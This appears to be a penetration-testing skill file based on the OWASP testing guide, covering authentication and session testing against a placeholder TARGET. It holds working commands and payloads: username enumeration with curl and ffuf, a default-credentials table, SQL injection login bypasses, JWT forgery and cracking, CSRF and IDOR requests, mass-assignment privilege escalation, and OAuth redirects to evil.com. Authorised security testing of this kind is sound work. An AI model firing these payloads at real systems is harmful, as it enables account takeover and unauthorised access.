| name | wstg-auth-session |
| description | WSTG identity, authentication, authorization, and session management testing |
| tags | ["auth","session","idor","csrf","jwt","wstg"] |
| version | 1.0 |
Auth & Session Testing (WSTG-IDNT + ATHN + AUTHZ + SESS)
Username Enumeration Techniques
Error Message Differentiation
Test login, registration, and password reset with known vs unknown usernames:
curl -s -X POST https://TARGET/login -d "user=admin&pass=wrong" -o resp_valid.txt
curl -s -X POST https://TARGET/login -d "user=nonexistent&pass=wrong" -o resp_invalid.txt
diff resp_valid.txt resp_invalid.txt
time curl -s -X POST https://TARGET/login -d "user=admin&pass=wrong" > /dev/null
time curl -s -X POST https://TARGET/login -d "user=fake12345&pass=wrong" > /dev/null
curl -s -X POST https://TARGET/register -d "user=admin&email=test@test.com"
curl -s -X POST https://TARGET/forgot -d "email=admin@TARGET"
ffuf Enumeration
ffuf -u https://TARGET/login -X POST -d "username=FUZZ&password=test" \
-w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
-fr "Invalid username" -mc all
Default Credentials (Top 20)
| Username | Password | Common On |
|---|
| admin | admin | Most apps |
| admin | password | Most apps |
| admin | admin123 | CMS, panels |
| administrator | administrator | Windows, Java |
| root | root | Linux, DBs |
| root | toor | Kali, some DBs |
| test | test | Dev environments |
| guest | guest | Legacy systems |
| user | user | Demo systems |
| admin | "" (blank) | IoT, routers |
| sa | "" (blank) | MSSQL |
| postgres | postgres | PostgreSQL |
| tomcat | tomcat | Apache Tomcat |
| manager | manager | Tomcat, JBoss |
| admin | changeme | Default installs |
| admin | 123456 | Weak defaults |
| cisco | cisco | Network devices |
| admin | secret | Various |
| operator | operator | Industrial systems |
| pi | raspberry | Raspberry Pi |
Authentication Bypass Payloads
SQL Injection in Login
admin' --
admin' #
admin'/*
' OR 1=1 --
' OR 1=1 #
' OR '1'='1
" OR "1"="1
admin' OR '1'='1
') OR ('1'='1
JWT Vulnerabilities
echo "JWT_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_'
hashcat -a 0 -m 16500 JWT_TOKEN wordlist.txt
jwt_tool JWT_TOKEN -C -d wordlist.txt
jwt_tool JWT_TOKEN -X k -pk public.pem
jwt_tool JWT_TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool JWT_TOKEN -X i
Session Token Analysis
for i in $(seq 1 20); do
curl -sI https://TARGET/login | grep -i "set-cookie" >> tokens.txt
done
curl -sI https://TARGET/ | grep -i "set-cookie"
Cookie Security Checklist
| Attribute | Expected | Vulnerability |
|---|
| Secure | Present | Token sent over HTTP |
| HttpOnly | Present | XSS can steal cookie |
| SameSite | Strict or Lax | CSRF attacks |
| Path | Restrictive (/) | Scope too broad |
| Domain | No leading dot | Subdomain access |
| Expires/Max-Age | Reasonable timeout | Indefinite sessions |
Session Fixation Test
1. Note session token before login (pre-auth)
2. Login with valid credentials
3. Check if session token changed (post-auth)
4. If same token → Session Fixation vulnerability
CSRF Testing
curl -s https://TARGET/form-page | grep -i "csrf\|token\|_token"
curl -X POST https://TARGET/change-email \
-H "Cookie: session=USER_SESSION" \
-d "email=attacker@evil.com"
curl -X POST https://TARGET/change-email \
-H "Cookie: session=USER_SESSION" \
-d "email=attacker@evil.com&csrf_token=invalid"
IDOR Testing Patterns
for id in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code} id=$id\n" \
-H "Cookie: session=LOW_PRIV_SESSION" \
"https://TARGET/api/users/$id"
done
Privilege Escalation Patterns
curl -X POST https://TARGET/api/update-profile \
-H "Cookie: session=REGULAR_USER" \
-d '{"name":"test","role":"admin"}'
curl -X POST https://TARGET/register \
-d "username=test&password=test&isAdmin=true"
curl -s -H "Cookie: session=REGULAR_USER" https://TARGET/admin/dashboard
curl -s -H "Cookie: session=REGULAR_USER" https://TARGET/api/admin/users
OAuth Testing Checklist
1. Redirect URI manipulation:
- redirect_uri=https://evil.com
- redirect_uri=https://TARGET.evil.com
- redirect_uri=https://TARGET/callback/../evil
- redirect_uri=https://TARGET/callback?next=https://evil.com
2. State parameter:
- Remove state parameter entirely
- Reuse old state value
- Use empty string
3. PKCE bypass:
- Omit code_verifier in token request
- Use plain instead of S256
4. Token leakage:
- Check access token in URL fragment
- Check referrer header leaks token
- Check browser history
For detailed procedures on any test, read:
knowledge/web-application/WSTG-IDNT/WSTG-IDNT-{NN}.md
knowledge/web-application/WSTG-ATHN/WSTG-ATHN-{NN}.md
knowledge/web-application/WSTG-AUTHZ/WSTG-AUTHZ-{NN}.md
knowledge/web-application/WSTG-SESS/WSTG-SESS-{NN}.md